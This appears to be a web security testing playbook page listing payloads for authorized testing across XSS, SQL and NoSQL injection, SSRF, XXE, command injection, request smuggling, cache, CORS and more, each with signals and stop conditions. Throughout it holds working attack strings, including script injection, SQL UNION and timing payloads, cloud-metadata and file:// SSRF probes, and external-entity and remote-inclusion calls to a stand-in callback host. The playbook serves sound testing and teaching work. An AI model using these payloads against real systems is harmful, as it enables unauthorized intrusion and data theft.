Reflection canary
Map reflection and encoding without executing script.
sc-xss-7f3a<>'"&What to watch
The marker appears in HTML, an attribute, JavaScript, CSS, or a URL. Record which characters are encoded and where.
Context-aware probes for authorized web security testing across XSS, injection, SSRF, GraphQL, uploads, prototype pollution, cache issues, and more - with signals, stop conditions, and root-cause fixes.
Curated against public references including github.com, portswigger.net, cheatsheetseries.owasp.org. Every probe keeps SecurityCipher safe-first wording, signals, and stop conditions.
XSS PLAYBOOK
Trace untrusted input to its exact browser context before trying an executable proof.
Map reflection and encoding without executing script.
sc-xss-7f3a<>'"&The marker appears in HTML, an attribute, JavaScript, CSS, or a URL. Record which characters are encoded and where.
Confirm executable markup only after raw HTML injection is established.
<img src=x onerror=alert(location.origin)>A dialog shows the current origin. If markup renders but the handler does not run, inspect CSP and sanitization.
Test whether a double-quoted attribute can be closed and a new event attribute added.
" autofocus onfocus=alert(location.origin) x="Focus reaches the injected element and the handler runs. This payload is invalid for single-quoted or unquoted contexts.
Test insertion inside a single-quoted JavaScript string.
';alert(location.origin);//The string terminates, the call executes, and the remaining source is commented. Escaping rules change for JSON and template literals.
Check whether client-side code moves location.hash into an HTML sink.
#<img src=x onerror=alert(location.origin)>The fragment is not sent to the server, so execution indicates a browser-side source-to-sink path.
Test SVG markup contexts after HTML injection is established.
<svg onload=alert(location.origin)>A dialog or console proof tied to the SVG sink confirms execution. CSP may still block handlers.
Probe insertion inside a JavaScript template literal.
${alert(location.origin)}Expression evaluation indicates a template-literal sink. Escape rules differ from quoted strings.
Fingerprint client-side template expression evaluation without assuming Angular version.
{{constructor.constructor('alert(location.origin)')()}}Execution or a framework-specific error justifies deeper client-template testing. Prefer framework docs for current versions.
Check sinks that place untrusted values into href, action, or similar URL contexts.
javascript:alert(location.origin)Navigation executes script in the page origin. Many browsers restrict javascript: in some contexts.
SQLi PLAYBOOK
Change one input at a time and compare a true condition with a false control.
Detect an unhandled string delimiter with the smallest possible mutation.
'A repeatable status, body, header, or timing change may indicate query parsing. A generic 500 alone is not proof.
Create a true predicate in a common single-quoted WHERE context.
' AND '1'='1'-- Compare against the false control using the same request and stable application state.
Provide the negative control for boolean-based testing.
' AND '1'='2'-- A consistent content or behavior difference between true and false conditions is stronger evidence than either response alone.
Test a numeric expression without introducing a quote.
1 AND 1=2An empty result or changed response compared with the original numeric value can reveal expression evaluation.
Validate a blind MySQL path when content-based controls are unavailable.
' AND SLEEP(2)-- Use repeated baseline and delayed samples. Network jitter or slow application code can create false positives.
Find whether a UNION SELECT path accepts a single NULL column in a string context.
' UNION SELECT NULL-- A changed result set or syntax error about column count guides the next controlled UNION step. Escalate only with explicit scope.
Detect injectable ORDER BY positions using a small column-index change.
1 ORDER BY 2-- Compare against ORDER BY 1 and an out-of-range index. Stable differences suggest expression evaluation.
Validate a blind PostgreSQL timing path when content controls are unavailable.
'; SELECT pg_sleep(2)-- Repeated baseline versus delayed samples should show a stable delta. Account for connection pooling jitter.
Check whether the driver or ORM allows a second statement after a terminator.
';SELECT 'sc_sql_7f3a'-- Seeing the marker or a multi-statement error is informative. Do not run destructive stacked statements.
SSRF PLAYBOOK
Begin with a unique callback you control. Internal addresses require explicit authorization.
Detect server-side DNS or HTTP access without targeting internal infrastructure.
https://unique-id.your-callback.example/Correlate a unique token, timestamp, source address, DNS lookup, and HTTP request in your callback logs.
Check whether policy is applied to every redirect hop.
https://your-callback.example/redirect-to-approved-targetA callback from the first hop is expected; reaching a disallowed second destination indicates incomplete revalidation.
Test whether the server can reach its own loopback interface.
http://127.0.0.1/A response that differs from a controlled unreachable address may indicate internal access, but error handling can obscure results.
Find validation that blocks IPv4 loopback but misses IPv6.
http://[::1]/Compare with the IPv4 result and a negative control. The target service may not listen on IPv6.
Use an RFC 5737 documentation address as a non-production negative control.
http://192.0.2.1/This address should not identify a real Internet host. Fast rejection versus a timeout can reveal validation behavior, not SSRF by itself.
Find filters that only block dotted-quad 127.0.0.1.
http://2130706433/A response consistent with loopback access indicates weak IP literal validation.
Detect whether non-HTTP URL schemes reach the server-side fetcher.
file:///etc/hostsAny local file content or scheme-specific error outside HTTP policy is a finding. Prefer fixtures when available.
Test link-local cloud metadata reachability only with written authorization.
http://169.254.169.254/latest/meta-data/Metadata body or distinctive headers prove cloud SSRF impact. Stop after minimal proof and do not harvest secrets.
Use a controlled dual-A DNS name to test resolve-then-connect TOCTOU gaps.
https://rebind-unique-id.your-callback.example/Correlate DNS answers with later connections. A second resolve to a private address after an allowlisted first answer is the signal.
SSTI PLAYBOOK
Use arithmetic fingerprinting. Do not jump from evaluation to command execution.
Observe whether template-looking input remains literal or triggers a controlled error.
sc-ssti-7f3a{{not_a_real_name}}A literal echo is not vulnerable. Removal, substitution, or a template-specific error justifies engine-aware testing.
Test expression evaluation without reading data or invoking functions.
{{7*7}}A rendered value of 49 suggests evaluation, but multiple engines share this syntax.
Distinguish engines that repeat strings from engines that coerce or reject the expression.
{{7*'7'}}For example, Jinja2 commonly renders seven copies of 7 while Twig commonly renders 49. Version and configuration can differ.
Check Java EL, FreeMarker, and other dollar-brace expression contexts.
${7*7}A value of 49 indicates expression handling but does not identify the engine by itself.
Test an ERB-style output expression without accessing files or executing commands.
<%= 7*7 %>A rendered value of 49 indicates evaluation in an ERB-like context.
Confirm Freemarker or similar dollar-brace evaluation without invoking dangerous builtins.
${7*7}Rendered 49 supports evaluation. Do not jump to Execute or object introspection.
Fingerprint Thymeleaf-style inline expression contexts.
[[${7*7}]]A rendered 49 or template parse error specific to Thymeleaf justifies engine-aware follow-up.
Probe Handlebars helper or constructor paths carefully after simpler canaries fail.
{{#with "s" as |string|}}{{string.constructor.constructor "return 7*7"}}{{/with}}Evaluation or a sandbox error is enough. Prefer non-RCE proofs in reports.
Test Mako or similar Python template expression syntax without OS access.
${7*7}Rendered 49 indicates evaluation. Confirm engine via error messages before any further probe.
JWT PLAYBOOK
Change one header or claim at a time. Decoding a token is not signature verification.
Record the token type, algorithm, and key identifier before making changes.
{"alg":"RS256","typ":"JWT","kid":"key-2026-07"}The server must choose acceptable algorithms and key sources from configuration, not trust arbitrary header values.
Confirm that an unsigned token is rejected even if its claims look valid.
{"alg":"none","typ":"JWT"}Any authenticated response is a failure. A robust implementation rejects the token before authorization logic.
Verify that an expiration in the past is enforced.
{"exp":1}The token should be rejected with a consistent authentication error. Allow only a small documented clock-skew window.
Confirm that a token minted for another recipient is not accepted.
{"aud":"https://not-this-service.example"}The service should reject the token even when the signature is otherwise valid.
Confirm that the verifier does not fetch keys from an attacker-selected URL.
{"jku":"https://your-controlled.example/jwks.json"}No callback should occur and the token should be rejected unless the URL is on a strict, intentional allowlist.
Check whether an RS256-configured API also accepts HMAC with a public key as the secret.
{"alg":"HS256","typ":"JWT"}Acceptance of a forged HMAC token signed with the published public key is a critical failure. Use only test accounts.
Probe key lookup with an empty kid value.
{"alg":"RS256","typ":"JWT","kid":""}Unexpected acceptance or path traversal into a default key file indicates unsafe kid handling.
Confirm issuer validation rejects tokens from the wrong authority.
{"iss":"https://not-this-issuer.example"}The service should reject the token even when the signature would otherwise verify against an unrelated key set.
Verify the verifier ignores attacker-supplied embedded public keys.
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}No authentication success should occur when the header carries an untrusted jwk. Callbacks are not expected.
Traversal PLAYBOOK
Use a harmless fixture created for the test. Avoid reading operating-system or application secrets.
Attempt to read a harmless fixture placed one directory above the intended root.
../sc-traversal-proof.txtA unique fixture marker proves boundary escape without exposing sensitive files.
Check whether decoding occurs after an early validation step.
%2e%2e%2fsc-traversal-proof.txtThe same fixture appears only for the encoded request, indicating inconsistent normalization order.
Detect a second decoding layer between a proxy, framework, and file API.
%252e%252e%252fsc-traversal-proof.txtThe fixture appears after multiple decode passes. Confirm the exact component sequence before reporting.
Test path handling on Windows or cross-platform libraries.
..\sc-traversal-proof.txtThe fixture appears when backslashes are interpreted as directory separators.
Confirm that an absolute path cannot bypass the intended base directory.
/tmp/sc-traversal-proof.txtA controlled fixture outside the content root must remain inaccessible.
Detect legacy null-byte truncation between validation and the file API.
../sc-traversal-proof.txt%00.pngFixture content with a trailing encoded null suggests truncation. Modern runtimes often reject this.
Bypass naive filters that only strip a single ../ sequence.
....//....//sc-traversal-proof.txtFixture content after nested dots indicates incomplete sanitization.
Test Windows UNC path handling when the app runs on Windows or emulates it.
\\sc-traversal-share\sc-traversal-proof.txtUnexpected share access or distinctive errors indicate UNC interpretation. Prefer local fixtures.
LFI PLAYBOOK
Prove inclusion with controlled fixtures or unique markers. Avoid dumping password files by default.
Include a harmless fixture placed outside the intended template directory.
../sc-lfi-proof.txtFixture marker text in the response proves local file inclusion without touching system secrets.
Check whether dangerous PHP stream wrappers are enabled in include sinks.
expect://idCommand output or wrapper-specific errors indicate expect:// availability. Prefer php://filter for read-only proofs when needed.
Read a controlled fixture through php://filter without executing it.
php://filter/convert.base64-encode/resource=sc-lfi-proof.txtBase64 of the fixture marker in the response proves wrapper-assisted LFI.
Detect allow_url_include style remote inclusion against a host you control.
https://unique-id.your-callback.example/sc-rfi.txtCallback plus included marker content proves RFI. Do not host executable shells.
Test legacy truncation that appends .php after validation.
../sc-lfi-proof.txt%00Fixture content despite a forced suffix indicates null-byte truncation.
Command PLAYBOOK
Use a unique printed marker. Do not read files, open shells, or make external connections.
Test command separation with a harmless, deterministic output marker.
;printf sc_cmd_7f3aThe marker appears in the response or captured process output.
Test execution after a preceding command succeeds.
&&printf sc_cmd_7f3aThe marker appears only when the original command returns success.
Test whether input reaches a shell pipeline.
|printf sc_cmd_7f3aThe marker appears even though pipeline behavior may replace or combine normal output.
Check whether URL decoding introduces a command separator.
%0aprintf%20sc_cmd_7f3aThe marker appears after a decoding layer converts %0a to a newline.
Validate blind execution when output is not returned.
;sleep 2Repeated requests show a stable two-second delta over baseline. Use low concurrency and account for jitter.
Test POSIX command substitution with a harmless marker.
`printf sc_cmd_7f3a`Marker output indicates backtick evaluation inside a shell.
Test modern command substitution syntax.
$(printf sc_cmd_7f3a)Marker output indicates $(...) evaluation. Prefer printf markers over file or network commands.
Probe Windows cmd.exe chaining on Windows targets only.
& echo sc_cmd_7f3aMarker appears in process output. Do not use destructive commands.
XXE PLAYBOOK
Prove entity processing with an internal marker before attempting any external lookup.
Detect DTD and entity expansion without file or network access.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY sc "sc_xxe_7f3a">]><r>≻</r>The parsed value contains sc_xxe_7f3a. Internal expansion alone is not proof that external entities are enabled.
Confirm external entity resolution against a host you control.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY sc SYSTEM "https://unique-id.your-callback.example/xxe">]><r>≻</r>A correlated DNS or HTTP callback proves outbound resolution. The XML response need not include callback content.
Test XInclude processing when you cannot control the XML document type.
<r xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="https://unique-id.your-callback.example/xinclude" parse="text"/></r>A callback or included controlled marker indicates that XInclude is processed.
Check an image-processing path with a non-network entity marker.
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY sc "sc_svg_7f3a">]><svg xmlns="http://www.w3.org/2000/svg"><text>≻</text></svg>The rendered or transformed output contains the unique text marker.
Test parameter-entity resolution when classic general entities are blocked.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % sc SYSTEM "https://unique-id.your-callback.example/xxe-param">%sc;]><r/>A correlated callback proves outbound DTD fetching even if the document body stays empty.
Confirm the parser rejects or ignores DOCTYPE declarations by policy.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY sc "x">]><r/>Hardened services return a clear rejection. Silent acceptance of DOCTYPE warrants deeper XXE tests.
Redirect PLAYBOOK
Use a harmless destination you control and verify the actual Location header.
Test whether a redirect parameter accepts an arbitrary origin.
https://your-controlled.example/sc-redirectA 3xx Location header or client-side navigation reaches the exact controlled URL.
Check validation that only rejects strings beginning with http.
//your-controlled.example/sc-redirectThe browser inherits the current scheme and navigates to the controlled host.
Identify URL parsers that normalize backslashes into authority separators.
\\your-controlled.example\sc-redirectBrowser and server parsing can differ. Confirm the final browser destination rather than relying only on string validation.
Check whether validation mistakes userinfo for the destination host.
https://trusted.example@your-controlled.example/The actual host is your-controlled.example; trusted.example is the username component.
Check whether validation and redirect execution happen before and after different decode steps.
%2f%2fyour-controlled.example%2fsc-redirectThe final Location value or browser destination resolves to the controlled host.
Check whether redirect sinks accept data: URLs.
data:text/html,sc-redirectBrowser navigation into a data: document can enable phishing. Confirm the final client destination.
Find validators that allow root-relative paths but browsers interpret an authority.
/\your-controlled.example/sc-redirectFinal navigation to your-controlled.example is the signal. Server and browser parsers may disagree.
NoSQL PLAYBOOK
Use impossible predicates as negative controls. Test authentication logic only with dedicated accounts.
Check whether an endpoint enforces a string schema before building a query.
{"username":{"unexpected":"sc_probe"}}A clean 4xx validation error is expected. Query-engine errors or changed results indicate unsafe type handling, not necessarily injection.
Detect whether a client-supplied MongoDB operator reaches the query layer.
{"username":{"$eq":"sc-user-that-cannot-exist"}}Compare with the same impossible value as a plain string. A behavior difference suggests operator interpretation.
Test operator injection using a dedicated test workflow.
{"username":{"$ne":"sc-user-that-cannot-exist"}}Broader results or an authentication-state change indicates unsafe query construction. Stop after minimal proof.
Check frameworks that parse bracket notation into nested objects.
username[$eq]=sc-user-that-cannot-existCompare with username=sc-user-that-cannot-exist and inspect server-side parsing if available.
Test regex operator handling without enumerating real usernames.
{"username":{"$regex":"^sc_user_that_cannot_exist$"}}A difference from the equivalent plain string can reveal operator acceptance while preserving a no-match control.
Detect overly broad operator injection that widens result sets.
{"username":{"$gt":""}}Unexpected authentication or enumeration versus an empty-string baseline indicates operator reach.
Check whether server-side JavaScript query forms are accepted.
{"username":{"$where":"return false"}}Acceptance or engine errors around $where are enough. Do not run expensive or looping expressions.
GraphQL PLAYBOOK
Start with introspection and authorization checks. Treat every field resolver as its own API.
Check whether schema introspection is exposed to untrusted clients.
{"query":"{ __schema { queryType { name } } }"}A schema payload in the response expands the attack surface. Many programs still allow it in staging only.
Use an invalid field to see whether suggestions or verbose errors reveal real field names.
{"query":"{ scNonexistentField }"}Did-you-mean hints or stack traces disclose schema details useful for further testing.
Detect whether array batching multiplies expensive operations without rate limits.
[{"query":"{ __typename }"},{"query":"{ __typename }"}]Both operations execute in one HTTP request. Combine with authz tests carefully and keep concurrency low.
Check alias-based duplication as a simpler alternative to HTTP batching.
{"query":"query { a:__typename b:__typename c:__typename }"}Many aliased fields succeed where depth limits alone are insufficient. Watch CPU and resolver timing.
Test object access with another user's identifier in a dedicated test tenant.
{"query":"query($id:ID!){ node(id:$id){ id ... on User { email } } }","variables":{"id":"User:2"}}Email or private fields for User:2 without entitlement is broken object authorization, not injection.
Establish a tiny baseline before increasing nesting depth in later requests.
{"query":"{ a:__typename }"}Use this as the control when comparing against deeper nested queries for complexity limits.
Upload PLAYBOOK
Validate type, content, and storage location. Prefer harmless markers over web shells.
Check double-extension handling against an image-only allowlist.
filename=sc_upload_7f3a.php.pngIf the server stores or serves the file as executable PHP, the allowlist is unsafe. Prefer non-exec proof when possible.
Send a text body with an image Content-Type to test trust in client MIME claims.
Content-Type: image/png
(body is plain text marker sc_upload_7f3a)Acceptance without content sniffing indicates weak validation. Stored XSS or parse errors are secondary signals.
Upload SVG only when the product claims to allow SVG images.
<svg xmlns="http://www.w3.org/2000/svg" onload="console.log('sc_upload_7f3a')"></svg>Script execution when the SVG is opened in-browser proves stored XSS via upload. Prefer console markers over alerts in shared apps.
Detect directory escape through the multipart filename parameter.
filename=../sc_upload_7f3a.txtFile appears outside the upload directory or overwrite occurs. Use unique fixture names only.
Probe legacy truncation between validation and filesystem write.
filename=sc_upload_7f3a.php%00.pngStored name becomes .php or validation bypasses the image suffix. Modern stacks often reject nulls.
Proto PLAYBOOK
Pollute only disposable objects in a test app. Confirm gadget impact before claiming RCE.
Test whether recursive merges copy __proto__ from JSON into Object.prototype.
{"__proto__":{"scPolluted":"sc_proto_7f3a"}}After the request, ({}).scPolluted === 'sc_proto_7f3a' in the same app context proves pollution.
Bypass filters that only block the literal __proto__ key.
{"constructor":{"prototype":{"scPolluted":"sc_proto_7f3a"}}}The same polluted property on a fresh object is the signal.
Check server-side qs parsers that turn bracket notation into recursive objects.
__proto__[scPolluted]=sc_proto_7f3aServer behavior changes for unrelated objects or explicit debug output of polluted keys confirm the issue.
Probe client-side parsers that read location.hash into merge helpers.
#__proto__[scPolluted]=sc_proto_7f3aA page script reading ({}).scPolluted after hash parsing proves client-side pollution.
Find nested merge helpers that sanitize only the top level.
{"a":{"__proto__":{"scPolluted":"sc_proto_7f3a"}}}Pollution still appears on Object.prototype when nested keys are merged unsafely.
LDAP PLAYBOOK
Use impossible filters as negative controls. Avoid dumping directories in production scopes.
Inject LDAP filter metacharacters to detect unsafe concatenation.
sc_ldap_7f3a)(Directory errors, empty results, or authentication anomalies versus a plain string baseline are signals.
Classic always-true filter pattern for login or search fields.
*)(uid=*))(|(uid=*Broader results or unexpected auth success on a test account indicates filter injection. Stop at minimal proof.
Check wildcard handling in search or login inputs.
*Enumerating many entries with a single star suggests missing allowlists. Limit result size in tests.
Compare properly escaped input against raw metacharacters.
sc_ldap_\2a_7f3aSafe APIs treat the escaped form as literal data. Behavioral gaps versus raw * help confirm injection.
Probe attribute injection in multi-attribute filters.
x*)(mail=*))(|(mail=*Unexpected mail attributes in results show filter logic compromise. Use synthetic directory data when possible.
CSRF PLAYBOOK
Prove state-changing requests can be forged from another origin. Prefer harmless actions.
Submit a legitimate state-changing form without the anti-CSRF token.
POST /account/email (omit csrf token field)A successful change proves missing server-side token validation. Use a disposable test account.
Check whether tokens are bound to the session or user.
csrf=TOKEN_FROM_ACCOUNT_A on ACCOUNT_B requestAcceptance of another account's token indicates weak binding.
Probe whether cookie-auth JSON endpoints accept simple content types without tokens.
Content-Type: text/plain
{"email":"sc-csrf@your-controlled.example"}State change from a cross-origin form-like request proves CSRF on an API that assumed JSON was safe.
Inventory session cookies that remain valid in cross-site contexts.
Set-Cookie: session=...; SameSite=None; SecureSameSite=None cookies require strong CSRF tokens. Lax/Strict reduce but do not replace token checks for all cases.
Test verb overrides that bypass method-specific CSRF middleware.
POST /account/email?_method=PUTState change through an unexpected verb path indicates middleware gaps.
IDOR PLAYBOOK
Swap object identifiers between two test accounts. Prove authorization failure with minimal data exposure.
Request a neighbor object ID with a second test account's session.
GET /api/invoices/1002 (auth as owner of 1001)Invoice fields for 1002 in the response prove missing object-level authorization.
Submit another user's object ID while keeping your session cookies.
{"invoice_id":1002,"user_id":1001}Successful update or read indicates the server trusted the client ownership field.
Decode opaque-looking identifiers that are only encoded, not encrypted or authorized.
id=MTAwMg== (base64 of 1002)Access to 1002 after decoding shows obscurity without authorization.
Call a higher-privilege export route with a normal user token.
GET /api/admin/users/2/export with non-admin sessionExport data or 200 instead of 403 indicates broken function-level authorization.
Use a resource GUID from tenant B while authenticated to tenant A.
GET /api/t/tenant-b/resources/11111111-1111-1111-1111-111111111111Resource payload from tenant B is a tenancy isolation failure.
Deserialize PLAYBOOK
Fingerprint parsers with benign objects. Do not deliver gadget chains on production data.
Detect Java serialization by looking for base64 that starts with the ac ed magic.
rO0ABServer errors mentioning ObjectInputStream or acceptance of rO0AB blobs justify deeper review. Do not send gadget chains.
Probe PHP unserialize sinks with a harmless stdClass object.
O:8:"stdClass":1:{s:4:"mark";s:12:"sc_deser_7f3a";}Application logic reflecting sc_deser_7f3a or unserialize errors confirms the sink. Avoid POP chains.
Identify pickle usage from docs, errors, or non-production fixtures rather than blind RCE opcodes.
pickle ASCII opcode mark: (sc_deser_7f3aAny server acceptance of pickle bytes from clients is high risk. Prefer replacing pickle with JSON.
Test JSON.NET TypeNameHandling style type discriminators with a benign type.
{"$type":"System.Object, mscorlib","mark":"sc_deser_7f3a"}Unexpected type loading errors or honor of $type without allowlists is the signal. Do not load gadget types.
Check whether YAML loaders resolve tags into objects.
!!python/object/apply:str [sc_deser_7f3a]Constructed objects or loader errors about python/object tags prove unsafe YAML loading. Use safe_load equivalents.
CRLF PLAYBOOK
Prove header or log injection with a unique marker. Avoid session fixation proofs on shared accounts.
Test whether encoded CRLF reaches an HTTP response header context.
sc%0d%0aX-SC-Injected:%20sc_crlf_7f3aA reflected X-SC-Injected response header containing the marker proves splitting or header injection.
Check whether attackers can inject a Set-Cookie header via CRLF.
sc%0d%0aSet-Cookie:%20sc_crlf=1An unexpected Set-Cookie for sc_crlf indicates response splitting. Use only disposable test browsers.
Detect newline injection into application or access logs.
sc_user%0aERROR sc_crlf_7f3a fake eventA forged log line containing the marker appears beside the real event. Avoid flooding production logs.
Probe redirect sinks that copy input into Location without sanitizing newlines.
https://trusted.example/%0d%0aX-SC-Injected:%20sc_crlf_7f3aExtra response headers after Location prove splitting. Confirm with a raw HTTP client.
Retest over HTTP/1.1 if the front end speaks HTTP/2, because splitting behavior differs by protocol.
sc%0d%0aX-SC-Injected:%20sc_crlf_7f3aHTTP/2 rejects raw newlines in many stacks. A failure on h2 with success on h1 still matters behind misconfigured downgrades.
HPP PLAYBOOK
Send duplicate parameters and compare which value each tier honors.
Send two values for the same query key and see which one authorization uses.
role=user&role=adminIf the app authorizes as admin while logs show user, parsing is inconsistent across layers.
Mix array and scalar forms for the same logical parameter.
id[]=1&id=2Unexpected type coercion or the ignored value becoming authoritative is the signal.
Supply the same name in query string and body on a POST endpoint.
GET id=1 with POST body id=2Security checks reading one source while business logic reads the other enable bypasses.
Check whether a single parameter with commas becomes a list in one tier and a string in another.
id=1,2Differential behavior between WAF and app parsers can hide or create access bugs.
Compare trusted header injection points against user-controlled parameters of the same name.
X-User-Id: 1 plus user_id=2If either value can override identity checks, document which component trusted which source.
Smuggle PLAYBOOK
Use timing and benign desync probes only. Confirm lab or explicit written scope before any desync testing.
Send a deliberately ambiguous CL.TE request in a lab or explicitly scoped environment.
Content-Length: 6
Transfer-Encoding: chunked
0
GTimeouts, unexpected 400 classes, or desync symptoms justify specialist follow-up. Do not poison shared frontends casually.
Probe TE.CL confusion only with authorization and isolated infrastructure.
Transfer-Encoding: chunked
Content-Length: 4
5c
GPOST /
0
Desync indicators differ by proxy. Prefer PortSwigger lab methodology over production spray.
Check whether duplicate or obfuscated TE headers are inconsistently honored.
Transfer-Encoding: chunked
Transfer-Encoding: xchunkedDifferent treatment by edge versus origin is the classic desync prerequisite.
Map whether an HTTP/2 front end downgrades to HTTP/1.1 backends that reintroduce desync classes.
:method PUT with http2 to http1 backendArchitecture notes plus a controlled lab proof are enough for many reports. Avoid live poisoning.
Capture clean timing and status baselines before any ambiguous request.
normal POST with Content-Length matching bodyWithout a baseline, timeouts are not evidence. Keep concurrency at one during desync research.
Cache PLAYBOOK
Use unique paths and accounts. Never poison shared caches with other users' private data.
Request an authenticated path with a static-looking suffix while logged in.
/account/settings/sc_cache_7f3a.cssIf the response contains private account HTML and later loads without cookies, the cache keyed on the static suffix.
Exploit delimiter differences between cache and origin routers.
/account/settings;sc_cache_7f3a.jsCached private content under a delimiter variant is the finding. Compare with a logged-out fetch.
Test encoding discrepancies in cache key normalization.
/account%2fsettings/sc_cache_7f3a.cssPrivate body cached under the encoded path indicates normalization bugs.
Inspect sensitive responses for directives that prevent shared caching.
Cache-Control: private, no-storeMissing no-store on authenticated HTML is a configuration finding even before deception succeeds.
Check whether an unkeyed header changes response content that still gets cached.
X-Forwarded-Host: your-controlled.examplePoisoned Location or absolute URLs served to later victims indicate web cache poisoning. Use unique cache busters.
CORS PLAYBOOK
CORS is enforced by browsers. Inspect both preflight and actual responses with and without credentials.
Check whether an arbitrary origin is reflected or broadly allowed.
Origin: https://your-controlled.exampleAccess-Control-Allow-Origin matching the untrusted origin is risky when sensitive data is available, especially with credentials.
Test whether sandboxed documents, local files, or opaque origins are trusted.
Origin: nullAccess-Control-Allow-Origin: null can expose data when attackers can generate a null origin.
Find suffix or substring checks that mistake an attacker domain for a trusted origin.
Origin: https://trusted.example.your-controlled.exampleThe server must reject this unless the exact origin is intentionally trusted.
Test weak prefix checks and document the actual DNS ownership boundary.
Origin: https://your-controlled.example.trusted.exampleAcceptance may be intended only if trusted.example controls and secures every possible subdomain.
Inspect the policy returned before a cross-origin API request.
OPTIONS /api/account HTTP/1.1
Origin: https://your-controlled.example
Access-Control-Request-Method: GETReview Access-Control-Allow-Origin, Access-Control-Allow-Credentials, allowed methods and headers, and Vary: Origin together.
Review responses for the forbidden wildcard-plus-credentials combination.
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueBrowsers reject this pairing, but seeing it in raw headers indicates a broken CORS configuration worth fixing.
During preflight, check whether dangerous methods are reflected broadly.
Access-Control-Request-Method: PUTAllowing PUT, DELETE, or uncommon methods for untrusted origins expands impact when ACAO is loose.
Headers PLAYBOOK
Treat headers as browser policy, not substitutes for secure application logic.
Establish a restrictive starting policy before adding required sources and script nonces.
Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'Check browser console violations and verify that the final policy does not rely on unsafe-inline or broad wildcards.
Tell supporting browsers to use HTTPS for the host and its subdomains.
Strict-Transport-Security: max-age=31536000; includeSubDomainsSend HSTS only over HTTPS. Add includeSubDomains only after every subdomain supports HTTPS; preload has separate requirements and consequences.
Require browsers to honor declared MIME types in relevant script and style contexts.
X-Content-Type-Options: nosniffVerify accurate Content-Type headers too; nosniff does not repair an incorrect media type.
Send full referrers on same-origin requests and only the origin cross-origin, while avoiding HTTPS-to-HTTP leakage.
Referrer-Policy: strict-origin-when-cross-originChoose a stricter value if paths or query strings contain sensitive data.
Disable browser capabilities the application does not require.
Permissions-Policy: camera=(), microphone=(), geolocation=()Inventory real feature and iframe needs before rollout; unsupported directives are ignored by browsers.
Prefer CSP frame-ancestors over legacy X-Frame-Options alone.
Content-Security-Policy: frame-ancestors 'none'The page should refuse framing by unexpected origins. Verify with a controlled iframe test page.
Isolate the browsing context from cross-origin openers when the app needs stronger isolation.
Cross-Origin-Opener-Policy: same-originPopup and postMessage flows may break; stage carefully and confirm intended cross-window behavior.
FIELD METHOD
A copied string is never the test by itself. Context, a negative control, repeatable evidence, and a root-cause fix turn an observation into a useful finding.
Check the asset, account, test window, prohibited techniques, data rules, and stop conditions.
Record where input travels and which parser, browser, query, template, or process handles it.
Compare one changed input against a stable baseline and an expected-negative request.
Preserve the request, response, timestamp, account, environment, and observed security boundary.
Do not escalate after impact is clear. Explain the root cause, safe fix, and retest condition.